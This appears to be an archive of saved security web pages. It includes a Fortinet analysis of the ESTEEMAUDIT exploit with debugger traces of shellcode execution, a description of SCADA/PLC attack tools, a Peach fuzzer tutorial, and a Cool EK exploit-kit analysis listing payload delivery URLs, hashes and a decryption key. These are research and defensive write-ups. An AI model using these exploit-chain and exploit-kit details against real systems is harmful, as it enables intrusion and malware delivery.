> `_001b:77f3f607 7463 je ADVAPI32!CryptDestroyKey+0xbf (77f3f66c)_`
> `_001b:77f3f609 33db xor ebx,ebx_`
> `_001b:77f3f60b 43 inc ebx_`
> `_001b:77f3f60c 895ddc mov dword ptr [ebp-24h],ebx_`
> `_001b:77f3f60f ff762c push dword ptr [esi+2Ch]_`
> `_001b:77f3f612 ff7770 push dword ptr [edi+70h]_`
> `_001b:77f3f615 ff5608 call dword ptr [esi+8] ---- >shellcode executed_`
> `_kd > r_`
> `_eax=00000001 ebx=00000001 ecx=77f50c75 edx=00440001 esi=080190dc
> edi=08019078_`
> `_eip=77f3f615 esp=006ce3d8 ebp=006ce41c iopl=0 nv up ei pl nz na po nc_`
> `_cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202_`
> `_ADVAPI32!CryptDestroyKey+0x6e:_`
> `_001b:77f3f615 ff5608 call dword ptr [esi+8] ds:0023:080190e4=**08005e85
> --- >0x08005e85 is the Ret0C in the shellcode, which begins the ROP
> chain.**_`
The following image shows the successful attack output:

<img src='img/Esteemaudit005.jpg' width='656' height='698' />

Note that authentication is NOT required to exploit this vulnerability.

To address this vulnerability, Fortinet has released IPS signature
MS.Windows.Shadow.Broker.ESTEEMAUDIT.Code.Execution.

_Sign up_ _for weekly Fortinet FortiGuard Labs Threat Intelligence Briefs and
stay on top of the newest emerging threats._

by **<img src='img/Temp2_2051.png' width='15' height='15' alt='RSS' /> Dehui Yin ** | May 11, 2017 | Filed in: Security Research
Tags: windows 0-day zero day exploit malware threat research

* * *
 Next Post: White House Announces New Cybersecurity Executive Order 
Previous Post: Byline: Security Platform vs. Security Fabric

  

# Basecamp

**Created:**| _11/7/2012 6:14:44 PM_  
---|---  
**Updated:**| _1/18/2013 9:21:02 AM_  
**Author:**| __  
**Tags:**| _attacks reversing intelligence_  
  

# Basecamp

<img src='img/Temp2_992.jpg' alt='PLC Hacking' />

Project Basecamp is a research effort by Digital Bond and a team of volunteer
researchers to highlight and demonstrate the fragility and insecurity of most
SCADA and DCS field devices, such as PLC’s and RTU’s.

The goal of Project Basecamp is to make the risk of these fragile and insecure
devices so apparent and easy to demonstrate that a decade of inaction will
end. SCADA and DCS owner/operators will demand a secure and robust PLC, and
this will drive vendors to finally provide a product worthy of being deployed
in the critical infrastructure.

### The Reason: A Firesheep Moment for PLC’s

See Dale Peterson’s Basecamp Introduction Video for motivation and goals of
Basecamp and a Firesheep Moment for PLC’s.

Everyone knows PLC’s are vulnerable — or so we have heard for ten years now
since the 9/11 attacks focused attention on DCS and SCADA security. Not only
do they lack basic security features, they are also fragile. Warnings abound
about the dangers of even running a port scan on a PLC. Yet even though
“everyone knows” there has been little or no progress on developing even the
option of purchasing a secure and robust PLC.

After this lost decade, Digital Bond decided to stop trying the same failed
approach and the result is Project Basecamp. We looked for parallel situations
in security where a serious problem was known, not addressed for a long time,
and then something triggered a change. The best example we found is Firesheep.

In 2007/2008 there were numerous presentations at security events showing how
a twitter, facebook, gmail or other HTTP session could be hijacked because the
cookies were not encrypted. It got some buzz at a security events and
technical web sites, but no action to address the vulnerability.

In October of 2010 Eric Butler created Firesheep, an easy to use Firefox
extension that hijacked an HTTP session. Anyone who could use a browser could
hijack Facebook or Twitter sessions in a coffee shop. Shortly after that the
vendors took action and made mandatory HTTPS an option and eventually the
default.

Project Basecamp is attempting to be a Firesheep Moment for PLC’s. The team
has, not surprisingly, found many vulnerabilities in the PLC’s, but perhaps
more importantly have identified “insecure by design” issues that are actually
much easier to leverage to affect the availability and integrity of a process.

The key to making this a Firesheep Moment for PLC’s is providing tools so any
engineer, IT type, security professional or anyone with a bit of computer
skill can demonstrate just how fragile and vulnerable these PLC’s are. It’s
beyond, PLC’s are vulnerable. Basecamp provides the tools to show an executive
just how easy it is to take down the SCADA or DCS.

### The Basecamp Team

Reid Wightman of Digital Bond leads the Basecamp team. He performed the work
on two of the devices and coordinated the results with the rest of the
research team. The other Project Basecamp team members are:

### The Results

In the words of  Reid Wightman, “it was a bloodbath”. As everyone expected,
the PLC’s crashed, had typical vulnerabilities such as overflows and XSS, and
had product features that could be used against the device. You can watch the
90-minute Project Basecamp from S4.

### The Products

We have created individual pages summarizing the results for the Basecamp
Products tested to date.

### The Tools

Digital Bond’s approach with all research tools is to add capabilities to the
market leading tools to maximize the use and adoption of the tools. To that
end the tools include:

#### Metasploit Modules

Rapid7′s Metasploit is the most widely used exploit framework in the world,
and it has a free version and a paid version. The Basecamp Metasploit Modules
provide an easy way for anyone to demonstrate how fragile and vulnerable the
PLC’s are. The final, released Metasploit modules will be available through
Rapid7 in the same manner as any other Metasploit module.

Project Basecamp has a Metasploit Modules page with a list of all of the
modules and links to any modules not yet released by Rapid7.

#### Nessus Plugins

Tenable Network Security’s Nessus Vulnerability scanner is the most widely
used scanner in the world. Digital Bond has developed Bandolier Security Audit
Files and SCADA plugins in the past for Nessus.

A set of Basecamp related plugins are released and more are under development.
The Basecamp plugins help enumerate or identify the PLC’s and then check for
default credentials and other vulnerable configuration settings.

# Commission launches public consultation on Database Directive

**Created:**| _5/24/2017 2:28:47 PM_  
---|---  
**Updated:**| _5/24/2017 2:28:47 PM_  
**Author:**| __  
**Tags:**| _bookmark Law_  
  

  

You are here:

  1. European Commission
...

  2. News

.

### Digital Single Market

Digibytes|24/05/2017|

# Commission launches public consultation on Database Directive

The Database Directive, adopted in 1996, aims at encouraging the development
of databases through appropriate legal protection and the use of data. The
Commission launches today a consultation to understand better how the Database
Directive is used, to evaluate its impact on users and to identify possible
needs of adjustment. Since the entry into force of the Directive, the database
market, and more generally the role of data in the economy, has evolved. The
Commission has recently presented several initiatives to boost the European
data economy.

The public consultation is open from 24 May until 30 August 2017.

Once the Commission has reviewed the submissions, it will decide on the next
steps to take.

The Directive on the legal protection of databases provides for two types of
protection for databases. Firstly, databases can be protected, when original,
under copyright law. Secondly, databases for which a substantial investment
has been made can benefit from the "sui generis" protection. Owners of
protected databases can prevent reproduction, communication, extraction or re-
use of their database content on the basis of the protection granted by this
directive. The directive also guarantees rights to the users, including the
provision of specific exceptions in the fields of teaching, scientific
research, public security or for private purposes.  
The Commission has recently presented several initiatives to foster European
data economy. In this context the objectives of the directive translate into
increasing legal certainty for database makers and users and at enhancing the
re-use of data. Evidence regarding the application and effects of the
directive is however very scarce. It is therefore necessary to gather
information on the functioning of the directive to assess its impact on
relevant stakeholders, the data market and to identify possible needs of
adjustment.

### Respond to the Consultation

## Background

The database directive was adopted in 1996 to create a harmonised legal
framework to establish the ground rules for the protection of databases in the
information age. The directive introduced the sui generis protection which is
specific to the European Union. This protection is used in various sectors
such as publishing, media and telecoms.  
The directive aims at striking a balance between rights and interests of both
rightholders and users. Lawful users are allowed to perform certain acts
necessary to use the contents of databases and facilitate the dissemination of
information. There is also an optional list of exceptions to facilitate use of
contents for example in research, education and public security.  
Since 1996, the Commission has published one evaluation of the database
directive in 2005. The 2005 evaluation reported that the sui generis
protection was used in various fields by different companies but that there
were a number of issues linked e.g. to the scope of protection or the
exceptions which were by some stakeholders considered unclear or insufficient
to ensure full legal certainty for users. The evaluation concluded, amongst
others that further empirical analysis was necessary to assess the usefulness
of the Directive. The Court of Justice of the European Union has issued
several judgements since the directive's adoption, in particular on the sui
generis protection. These judgements will also be analysed in the evaluation
work by the Commission.

Share this page

  * Twitter
  * Facebook
  * LinkedIn
  * GooglePlus
  * E-mail
  * More share options

.

  * Policies
  * Blog posts
  * News
  * Events
  * Consultations
  * Reports and studies
  * Laws

.

### Related policies

  * Big Data
  * Digital trust and eprivacy
  * Building a European data economy
  * Creating a digital society

.

  

# radare Book

**Created:**| _10/23/2009 5:49:02 PM_  
---|---  
**Updated:**| _10/23/2009 5:49:23 PM_  
**Author:**| __  
**Tags:**| _reversing_  
  
<img src='img/Temp2_10592' />

# winsacheatsheet.pdf \(application/pdf Object\)

**Created:**| _5/9/2009 10:49:36 AM_  
---|---  
**Updated:**| _9/10/2009 9:32:19 AM_  
**Author:**| __  
**Tags:**| _cheat sheets windows security_  
  

# Dirk Loss: Python tools for penetration testers

**Created:**| _7/5/2010 4:00:48 PM_  
---|---  
**Updated:**| _7/5/2010 4:00:48 PM_  
**Author:**| _wishi_  
**Tags:**| _bookmark python pentest programming awesome_  
  

# Python tools for penetration testers

If you are involved in vulnerability research, reverse engineering or
penetration testing, I suggest to try out the Python programming language. It
has a rich set of useful libraries and programs. This page lists some of them.

Most of the listed tools are written in Python, others are just Python
bindings for existing C libraries, i.e. they make those libraries easily
usable from Python programs.

Some of the more aggressive tools \(pentest frameworks, bluetooth smashers,
web application vulnerability scanners, war-dialers, etc.\) are left out,
because the legal situation of these tools is still a bit unclear in Germany
-- even after the decision of the highest court. This list is clearly meant to
help whitehats, and for now I prefer to err on the safe side.

### Network

  * Scapy: send, sniff and dissect and forge network packets. Usable interactively or as a library
  * pypcap, Pcapy and pylibpcap: several different Python bindings for libpcap
  * libdnet: low-level networking routines, including interface lookup and Ethernet frame transmission
  * dpkt: fast, simple packet creation/parsing, with definitions for the basic TCP/IP protocols
  * Impacket: craft and decode network packets. Includes support for higher-level protocols such as NMB and SMB
  * pynids: libnids wrapper offering sniffing, IP defragmentation, TCP stream reassembly and port scan detection
  * Dirtbags py-pcap: read pcap files without libpcap
  * flowgrep: grep through packet payloads using regular expressions
  * httplib2: comprehensive HTTP client library that supports many features left out of other HTTP libraries

### Debugging and reverse engineering

  * Paimei: reverse engineering framework, includes PyDBG, PIDA, pGRAPH
  * Immunity Debugger: scriptable GUI and command line debugger
  * IDAPython: IDA Pro plugin that integrates the Python programming language, allowing scripts to run in IDA Pro
  * PyEMU: fully scriptable IA-32 emulator, useful for malware analysis
  * pefile: read and work with Portable Executable \(aka PE\) files
  * pydasm: Python interface to the libdasm x86 disassembling library
  * PyDbgEng: Python wrapper for the Microsoft Windows Debugging Engine
  * uhooker: intercept calls to API calls inside DLLs, and also arbitrary addresses within the executable file in memory
  * diStorm64: disassembler library for AMD64, licensed under the BSD license
  * python-ptrace: debugger using ptrace \(Linux, BSD and Darwin system call to trace processes\) written in Python

### Fuzzing

  * Sulley: fuzzer development and fuzz testing framework consisting of multiple extensible components
  * Peach Fuzzing Platform: extensible fuzzing framework for generation and mutation based fuzzing
  * antiparser: fuzz testing and fault injection API
  * TAOF, including ProxyFuzz, a man-in-the-middle non-deterministic network fuzzer
  * untidy: general purpose XML fuzzer
  * Powerfuzzer: highly automated and fully customizable web fuzzer \(HTTP protocol based application fuzzer\)
  * FileP: file fuzzer. Generates mutated files from a list of source files and feeds them to an external program in batches
  * SMUDGE
  * Mistress: probe file formats on the fly and protocols with malformed data, based on pre-defined patterns
  * Fuzzbox: multi-codec media fuzzer
  * Forensic Fuzzing Tools: generate fuzzed files, fuzzed file systems, and file systems containing fuzzed files in order to test the robustness of forensics tools and examination systems
  * Windows IPC Fuzzing Tools: tools used to fuzz applications that use Windows Interprocess Communication mechanisms
  * WSBang: perform automated security testing of SOAP based web services
  * Construct: library for parsing and building of data structures \(binary or textual\). Define your data structures in a declarative manner
  * fuzzer.py \(feliam\): simple fuzzer by Felipe Andres anzano

### Web

  * ProxMon: processes proxy logs and reports discovered issues
  * WSMap: find web service endpoints and discovery files
  * Twill: browse the Web from a command-line interface. Supports automated Web testing
  * Windmill: web testing tool designed to let you painlessly automate and debug your web application
  * FunkLoad: functional and load web tester

### Forensics

  * Volatility: extract digital artifacts from volatile memory \(RAM\) samples
  * SandMan: read the hibernation file, regardless of Windows version
  * LibForensics: library for developing digital forensics applications
  * TrIDLib, identify file types from their binary signatures. Now includes Python binding

### Malware analysis

  * pyew: command line hexadecimal editor and disassembler, mainly to analyze malware
  * Didier Stevens' PDF tools: analyse, identify and create PDF files \(includes PDFiD, pdf-parser and make-pdf and mPDF\)
  * Origapy: Python wrapper for the Origami Ruby module which sanitizes PDF files
  * Exefilter: filter file formats in e-mails, web pages or files. Detects many common file formats and can remove active content
  * pyClamAV: add virus detection capabilities to your Python software

### Misc

  * InlineEgg: toolbox of classes for writing small assembly programs in Python
  * Exomind: framework for building decorated graphs and developing open-source intelligence modules and ideas, centered on social network services, search engines and instant messaging
  * RevHosts: enumerate virtual hosts for a given IP address
  * simplejson: JSON encoder/decoder, e.g. to use Google's AJAX API

### Other useful libraries and tools

  * IPython: enhanced interactive Python shell with many features for object introspection, system shell access, and its own special command system
  * Beautiful Soup: HTML parser optimized for screen-scraping
  * matplotlib: make 2D plots of arrays
  * Mayavi: 3D scientific data visualization and plotting
  * RTGraph3D: create dynamic graphs in 3D
  * Twisted: event-driven networking engine
  * Suds: lightweight SOAP client for consuming Web Services
  * M2Crypto: most complete OpenSSL wrapper
  * NetworkX: graph library \(edges, nodes\)
  * pyparsing: general parsing module
  * lxml: most feature-rich and easy-to-use library for working with XML and HTML in the Python language
  * Pexpect: control and automate other programs, similar to Don Libes \`Expect\` system
  * Sikuli, visual technology to search and automate GUIs using screenshots. Scriptable in Jython

# Open Security Research: Creating Custom Peach Fuzzer Publishers

**Created:**| _1/14/2014 3:48:36 PM_  
---|---  
**Updated:**| _1/14/2014 3:48:36 PM_  
**Author:**| __  
**Tags:**| _Fuzzer framework_  
  

# **W** hen Is It Time?

Since you can do so much with a DataModel  and a StateModel , identifying when
it's time to transition from a PeachPit to a custom publisher can be
tough**.** To me, it all depends on what you're looking to fuzz**.** The most
common case is your target protocol or file format has multiple levels of
encapsulation**.** Sure, you could easily DataModel this encapsulation, but
then you're stuck manually excluding higher level encapsulated data**.** And
in some cases, the encapsulation creates a situation that the DataModel just
can't handle**.**  
  
Here's a sort interesting example I've recently come across**.** The
application implemented it own custom protocol within a TLS tunnel**.** The
tricky part here is that it was all over UDP. So there had to be another layer
of encapsulation \(XYZ Proto\) above TLS but below UDP to keep state of the
TLS tunnel, since UDP is stateless**.** Here's what the encapsulation looked
like from a high level:

<img src='img/Temp2_5832.png' />

Now if we're just looking to fuzz XYZ Proto then a DataModel here using the
UDP Publisher  would do just fine**.** However, since we're looking to fuzz
Custom Protocol, we have a bit of work to do**.** Establishing a TLS tunnel is
beyond the purpose of the DataModel - and the only way for us to get at the
important part, is to buld a custom publisher**.**  
  
If you're just dealing with file formats, this same idea still applies, but
its more likely you can build out the DataModel for the entire file format,
rather then hitting the TLS brick wall**.** That being said, it might not be
necessary to build the DataModel for the higher level file formats if a custom
publisher can be written**.**

# Compiling Peach****

Technically, you don't have to compile Peach from source**.** A little later
on I'll walk you through compiling your custom Publisher without the entire
Peach source code**.** But the reality is that when you're building your
Publisher, you'll need to look at the source of other Publishers to get better
understanding of how everything works, so you might as well learn to build
everything from source anyway**.**  
  
Download the source package from Peach's sourceforge page **.** I'd recommend
downloading the latest Beta source code, rather then the stable source so that
you can take advantage of bug fixes, etc..  
  
To compile from source is as simple as it gets due to a handy install script:

[code]

    root@kali:~/peach-3**.** 1.53-source# ./waf configure
    root@kali:~/peach-3.1**.** 53-source# ./waf build
    root@kali:~/peach-3.1.53-source# **.** /waf install
    
[/code]

Peach will install the compiled binaries into `output/linux_x86_release/bin`
and `output/linux_x86_debug/bin`**.**

# Publisher Structure****

Publishers are located within the `Peach.Core/Publishers` directory of the
source package**.** There are a number available for you to use a
reference**.** Basically every publisher inherits from the `Publisher` class
\(`Peach.Core/Publisher**.** cs`\) and should override a few key functions
that are tied back to the corresponding Action Types referenced in the
PeachPit**.** The following table provides a summary of those functions \(all
are of type `protected virtual void` unless otherwise noted and descriptions
are from the `Publisher**.** cs` source\)Function| Description  
---|---  
`OnStart()`| Called when the publisher is started**.** This method will be
called once per fuzzing "Session", not on every iteration**.**  
`OnStop()`| Called when the publisher is stopped**.** This method will be
called once per fuzzing "Session", not on every iteration**.**  
`OnOpen()`| Open or connect to a resource**.** Will be called automatically if
not called specifically**.**  
`OnClose()`| Close a resource**.** Will be called automatically when state
model exists**.** Can also be called explicitly when needed.  
`OnAccept()`| Accept an incoming connection**.**  
`OnInput()`| Read data  
`OnOutput(BitwiseStream data)`| Send data  
`protected virtual Variant OnCall(string method, List args)`| Call a method on
the Publishers resource  
`OnSetProperty(string property, Variant value)`| Set a property on the
Publishers resource**.**  
`protected virtual Variant OnGetProperty(string property)`| Get value of a
property exposed by Publishers resource  
Depending on the purpose of the Publisher, some of the above functions are
more important then others**.** For instance, if we're only concerned with
modifying the output of data right before its sent, then we'd just override
`OnOutput()`**.**

# Getting Started****

From here on out we'll demonstrate everything else you need to get started by
building a simple example that adds a layer of encapsulation within the UDP
protocol**.** This example would be trivial to add to a DataModel, but for the
sake of this example, we'll implement it in a Publisher**.**  
  
First up we'll start out by making a copy of the `UdpPublisher` which extends
the `SocketPublisher` class:

[code]

    root@kali:~/peach-3**.** 1.53-source/Peach.Core/Publishers# cp UdpPublisher**.** cs MyCustomPublisher.cs
    
[/code]

We'll set the name for our Publisher that will be referenced in the PeachPit
by replacing "`Udp`" with "`MyCustomPublisher` on line 35:

[code]

    [Publisher("MyCustomPublisher", true)]
    
[/code]

And name the class of our publisher by replacing "`UdpPublisher`" with
"`MyCustomPublisher`" on line 43:

[code]

     public class MyCustomPublisher: SocketPublisher
    
[/code]

and line 49:

[code]

     public MyCustomPublisher(Dictionary%lt;string, Variant> args
    
[/code]

And that's it**\!** We have our custom publisher all done\! Granted, its
really a waste at this point since its exactly the same thing as the
UdpPublisher, but nonetheless it's still custom :\)

# Extending Functionality****

To make this example a little more interesting, lets add that layer of
encapsulation, something like this:

<img src='img/Temp2_5830.png' />

Here we care about fuzzing Custom, but not ABC Proto**.** So we'd create a
custom Publisher to handle ABC Proto and a DataModel for fuzzing Custom**.**
Let's say ABC Proto is structured this way:  
  
First thing we'll need to do in our new Publisher is override the OnOutput
function so that we can modify the data before its sent**.** So we'll add a
new line after line 72 and insert:

[code]

    protected override void OnOutput(BitwiseStream data)
            {
    
            }
    
[/code]

Now comes our program body, we'll need to build a new packet with the ABC
Proto's header and length fields**.** Header is a 2 byte static value of
`1234`, and length is a 2 byte value for the length of the data field in
network byte order**.** Since the length field is only 2 bytes, we first need
to put in some intelligence that ensures the length of data does not exceed
the maximum value of that field**.**

[code]

    int totalPktLen = (int)data.Length + 4;
    
    if (totalPktLen > 65535) {
        Logger.Debug("ABC Proto Max Packet Length Reached, capping at 65535");
        totalPktLen = 65535;
    }
    
    if ( totalPktLen <= 0 ) {
        Logger.Debug("ABC Proto Min PacketLength Reached, just setting to 4 to account for header and length fields");
        totalPktLen = 4;
    }
    
[/code]

This can be an controversial move and its an important note to make about
custom publishers**.** Our intention is to fuzz the heck out of Custom
Protocol and as part of that fuzzing, we should be trying really long strings
and other values**.** By implementing this limitation we are effectively
limiting our test cases**.** It might be worthwhile just to forget about an
accurate value in the ABC Proto Length field as it might lead to more
vulnerabilities**.**  
  
That being said, let's leave that option up to the end user of the
publisher**.** We'll do that via a parameter that we'll implement a little
further down below**.**  
  
Next we'll create our ABC Proto Start Header which is just a constant `1234`:

[code]

    byte[] abcProtoHdr = { 0x12, 0x34 } ;
    
[/code]

Our final product will be a buffer containing the original data packet
encapsulated within ABC Proto, so here we'll create that buffer:

[code]

    var buffer = new byte[totalPktLen];
    
[/code]

Now we'll build our packet by first copying the ABC Proto Header into the
buffer:

[code]

    Array.Copy(abcProtoHdr, 0, buffer, 0, abcProtoHdr.Length);
    
[/code]

Next we'll handle the length field**.** It needs to be in network bit order,
so we'll do with `Array.Reverse()` after we copy it to the output buffer:

[code]

    Array.Copy(BitConverter.GetBytes(totalPktLen - 4), 0, buffer, abcProtoHdr.Length, sizeof(ushort));
    Array.Reverse(buffer, abcProtoHdr.Length, sizeof(ushort));
    
[/code]

To wrap up the buffer we'll just copy over the original data:

[code]

    data.Read(buffer, abcProtoHdr.Length + sizeof(ushort), buffer.Length - 4);
    
[/code]

At this point we've built-in that ABC Proto layer of encapsulation, since
that's all we really needed to do, we can pass that data to the original
`OnOutput()` function that SocketPublisher implements to send:

[code]

    base.OnOutput(new BitStream(buffer));
    
[/code]

# Passing Parameters****

Ok back to that ABC Proto Length issue we ran into earlier on**.** We could
either restrict the data length and limit our fuzzing or just ignore it**.**
The best approach might be to allow the user make that decision via a
Parameter passed to the publisher**.** To do this we'll need to create a new
parameter by inserting a new line after line 51 and providing:

[code]

    [Parameter("StrictLength", typeof(bool), "Enforce the ABC Proto Length Restrictions (may limit fuzz cases)", "true")]
    
[/code]

Here we have `StrictLength` as a boolean option, set to `true` by default**.**
Next we'll need to create local variable for it by inserting a new line after
line 62:

[code]

    public bool StrictLength { get; set; }
    
[/code]

And now we can wrap our length adjustment code into an `if` statement:

[code]

     if (StrictLength) {
        if (totalPktLen > 65535) {
            Logger.Debug("ABC Proto Max Packet Length Reached, capping at 65535");
            totalPktLen = 65535;
        }
    
        if ( totalPktLen <= 0 ) {
            Logger.Debug("ABC Proto Min PacketLength Reached, just setting to 4 to account for header and length fields");
            totalPktLen = 4;
        }
    }
    
[/code]

Alright**\!** Our custom ABC Proto publisher  is written**\!** On to
compiling..

# Compiling with `dmcs****`

We could recompile the entire Peach source code as per the instructions above,
or using a standard Peach binary release, we can save time by compiling only
our new custom publisher**.** Peach runs on Linux with the help of the mono
framework  which allows .Net applications to run on a number of different
platforms. The `dmcs` utility is a compiler within mono which we'll use on our
Kali installation**.**  
  
Enter the peach binary release directory with your `MyCustomPublisher**.** cs`
copied into it, and compile with:

[code]

     dmcs MyCustomPublisher**.** cs -out:MyCustomPublisher.dll -target:library -r:Peach.Core.dll,NLog.dll
    
[/code]

If all went well, you should should have a `MyCustomPublisher.dll`**\!**

# Calling from the PeachPit****

The last thing we need to do is call our custom publisher from a PeachPit via
the `<Publisher>` tag within our Test definition:

[code]

     <Test name="Default">
            <StateModel ref="CustomProtocolOutput"/>
    
            <Publisher class="MyCustomPublisher">
                <Param name="Host" value="192**.** 168.1.1"/>
                <Param name="Port" value="12345"/>
            </Publisher>
        </Test>
    
[/code]

The full PeachPit for this project can be found here **.**

# Testing with Wireshark****

We'll run a single instance of our fuzz case and use Wireshark  to inspect
output on the wire:

[code]

     root@kali:~/peach-3**.** 1.53-linux-x86-release# mono peach.exe MyCustomPublisherDataModel.xml -1
    
    [[ Peach v3**.** 1.53.0
    [[ Copyright (c) Michael Eddington
    
    [*] Test 'Default' starting with random seed 5136**.**
    
    [R1,-,-] Performing iteration
    
    [*] Test 'Default' finished**.**
    
[/code]

Now Wireshark doesn't have have a plug-in to parse for our ABC Proto \(WTH
wireshark dev team**?****\!**\) - but if we look at the raw data we can see
our ABC Proto header, length fields, and included within the data is the
content of our DataModel**.**

<img src='img/Temp2_5831.png' />

# Source Code****

If you'd like to reference the source code for this project, head over to
Github:

  * https://github.com/OpenSecurityResearch/CustomPeachPublisher 

# Got any tips for creating publishers**?** Share below in the comments\!

****

# Beautiful Soup: We called him Tortoise because he taught us.

**Created:**| _6/30/2010 10:05:16 AM_  
---|---  
**Updated:**| _6/30/2010 10:05:40 AM_  
**Author:**| __  
**Tags:**| _python scripting searching_  
  

You didn't write that awful page. You're just trying to get some data out of
it. Right now, you don't really care what HTML is supposed to look like.

Neither does this parser.

# Beautiful Soup

"A tremendous boon." -- Python411 Podcast

\[ Download | Documentation | Source | What's New | Contributors | Discussion group \]If Beautiful Soup has saved you a lot of time and money, please share the wealth. <img src='img/Temp2_1001.gif' width='1' height='1' />
_Having problems with version 3.1.0?See here._

_If you have questions, send them tothe discussion group._

Beautiful Soup is a Python HTML/XML parser designed for quick turnaround
projects like screen-scraping. Three features make it powerful:

  1. Beautiful Soup won't choke if you give it bad markup. It yields a parse tree that makes approximately as much sense as your original document. This is usually good enough to collect the data you need and run away.
  2. Beautiful Soup provides a few simple methods and Pythonic idioms for navigating, searching, and modifying a parse tree: a toolkit for dissecting a document and extracting what you need. You don't have to create a custom parser for each application.
  3. Beautiful Soup automatically converts incoming documents to Unicode and outgoing documents to UTF-8. You don't have to think about encodings, unless the document doesn't specify an encoding and Beautiful Soup can't autodetect one. Then you just have to specify the original encoding.

Beautiful Soup parses anything you give it, and does the tree traversal stuff
for you. You can tell it "Find all the links", or "Find all the links of class
`externalLink`", or "Find all the links whose urls match "foo.com", or "Find
the table heading that's got bold text, then give me that text."

Valuable data that was once locked up in poorly-designed websites is now
within your reach. Projects that would have taken hours take only minutes with
Beautiful Soup.

## Download Beautiful Soup

If you're using Python 2.3 through 2.6, the 3.0 series is the best choice. The
most recent release in the 3.0 series is 3.0.8.1, released April 9, 2010.

If you're using Python 3.0, you must use the 3.1 series. Beautiful Soup
version 3.1.0.1 was released January 6, 2009. You can use the 3.1 series with
earlier versions of Python, but you might run into the problems described
here. \(I consider the 3.1 series a failed experiment and will eventually be
replacing it, but it's here if you really need it.\)

Beautiful Soup is licensed under the same terms as Python itself, so you can
drop BeautifulSoup.py into almost any Python application \(or into your
library path\) and start using it immediately.

Older versions are still available: the 1.x series works with Python 1.5, and
the 2.x series still has some installed base. The 3.0.x series is known to
work with Python 2.3.

## Development

Development happens at Launchpad.

# How to find the vulnerability to bypass the Control Flow Guard

**Created:**| _5/7/2017 10:16:53 AM_  
---|---  
**Updated:**| _5/7/2017 10:18:02 AM_  
**Author:**| __  
**Tags:**| _vulnerability control\_flow\_guard_  
  

  
<img
src='img/CSW2017_HenryLi_How_to_find_the_vulnerability_to_bypass_the_ControlFlowGuard.pdf'
/>  

# Cool EK : "Hello my friend..." CVE-2012-5076 | Malware don't need Coffee
**Created:**| _11/10/2012 8:38:01 PM_  
---|---  
**Updated:**| _11/10/2012 8:38:01 PM_  
**Author:**| __  
**Tags:**| _Java vulnerability_  
  

# Cool EK : "Hello my friend..." CVE-2012-5076

<img src='img/Temp2_1609.png' />

  
  
  
If you follow this blog you'll get fast sick of Cool EK and Reveton.  
The Cool EK of Reveton distributors \(yes it's also used by other groups, for
instance the CBeplay.P ransomware distributors\) is moving a lot.  
  
Hunting for the Adobe Reader XI 0 day announced by Brian Krebs, I found a
0.7.9 PluginDetect...  
  
<img src='img/Temp2_1608.png' />  
---  
PluginDetect 0.7.9 on Cool EK  
  
  
that whispered me  
  
<img src='img/Temp2_1602.png' width='640' height='150' />  
---  
"new" jar file on Cool EK  
  
  
to check the exploit kit with Java 1.7 update 7 and....Hello my friend...the 0
day after you know...the previous 0 day \(read : CVE-2012-5076 after
CVE-2012-4681\)  
  
<img src='img/Temp2_1610.png' />  
---  
From "Battlefield" to "Hello my friend..."  
  
_< edit1 :_  
_Note: I presumed it was CVE-2012-5067 as : it's not working on j7u9, it's
working on j7u7...it could be something else thought chances were low... I was
wrong.__see at the end. / >_  
_  
_  
<img src='img/Temp2_1612.png' />  
---  
Cool EK \(Reveton distributor version\)  _CVE-2012-5076_ Path  
  

<img src='img/Temp2_1605.png' />  
---  
Java 1.7 u7 on IE9 - Win7  
  

  

With same configuration \(j7u7 + IE9 + Win7\) on Cool EK from CBeplay.P
distributors you'll get :  
<img src='img/Temp2_1600.png' />  
---  
CBeplay.P Cool EK : No CVE-2012-5076 path  
  
Here is the CVE-2012-5076 working path :  
http://193.1xx.120.xx/r/l/\*\*\*\_sessions\_\*\*\*\*.php \(including plugin
detect 0.7.9 \)  
http://193.1xx.120.xx/r/64size\_font.eot - ee1ed92474bd1de3093d056d8c4404ff
\(Font from duqu like drop\)  
http://193.1xx.120.xx/r/l/getJavaInfo.jar - fad89bdfdce9322767944f0e1f15a009
\(java detect\)  
http://193.1xx.120.xx/r/media/new.jar - 327a1cbf1e1e06df765f959ad5b05089 \(
CVE-2012-5076\)  
http://193.1xx.120.xx/r/f.php?k=2&e=0&f=0 - 746d7f49ceadf9315b31957f5da32fb1
\(Reveton - no bypass proxy as we saw in last path of CVE-2012-4681\)  

  

<img src='img/Temp2_1611.png' width='640' height='364' />  
---  
new.jar in Java Decompiler  
  
  

<edit2: 17:59 09/11/12>  
With some help , am able to put more information about this jar file.  
The bagdfssdb.class is encrypted with ZelixKlassMaster  
  

<img src='img/Temp2_1606.png' />

So we have to take a look at the method clinit to find the key :  
  
<img src='img/Temp2_1613.png' />  
---  
Method: <clinit> in bagdfssda  
  
0000004E : tableswitch l: 0, h: 3, def: pos.00000080, pos.\(0000006C,
00000071, 00000076, 0000007B\)  
0000006C : bipush 55  
0000006E : goto pos.00000082  
00000071 : bipush 120  
00000073 : goto pos.00000082  
00000076 : bipush 64  
00000078 : goto pos.00000082  
0000007B : bipush 24  
0000007D : goto pos.00000082  
00000080 : bipush 81  

  

Using the zkm\_decrypt.py provided with DirtyJOE and the key \[55,120, 64, 24,
81\]

  

  
<img src='img/Temp2_1601.png' width='640' height='280' />  
---  
zkm\_decrypt.py loaded in DirtyJOE  
<img src='img/Temp2_1607.png' />  
---  
Decrypted  
  
Applying a SUB of 0x2a we get payload.class \(
9b7481ce8aa6844e25c196c13d9250d9 \) :  
  

<img src='img/Temp2_1604.png' width='640' height='350' />  
---  
Payload class in Java Decompiler.  
  
  
</edit2>  
What about the % break. It seems it double the rate...but starting from around
6% we are now to something around 12%. As usual it's always difficult to talk
about that, as the % depends of the traffic/country..etc  
In Turkey, before this CVE, break % could reach 20% where rate for Germany was
between 3 and 5%  
  

Be ready to see same kind of post for Blackhole 2.0 \(or update to 2.1\) soon,
as chances are HUGE that Paunch is indeed behind Cool EK code.  
  
Others changes : Old Flash exploit activated \(/media/score.swf \), old PDF
exploits added \( /media/pdf\_old.php vs /media/pdf\_new.php\).  
I won't spend time on this \(at least right now\)

  

Read more ?  
About Cool EK :

Cool Exploit Kit - A new Browser Exploit Pack on the Battlefield with a "Duqu"
like font drop  
About CVE and EK/BEP:  
An Overview of Exploit Packs \(Update 17\) October 12, 2012 \- Mila - Contagio  
About decrypting ZKM :  
http://code.google.com/p/corkami/wiki/Java Ange Albertini - corkami -
07-11-2011  
http://dirty-joe.com/help/python\_scripting.php  
  
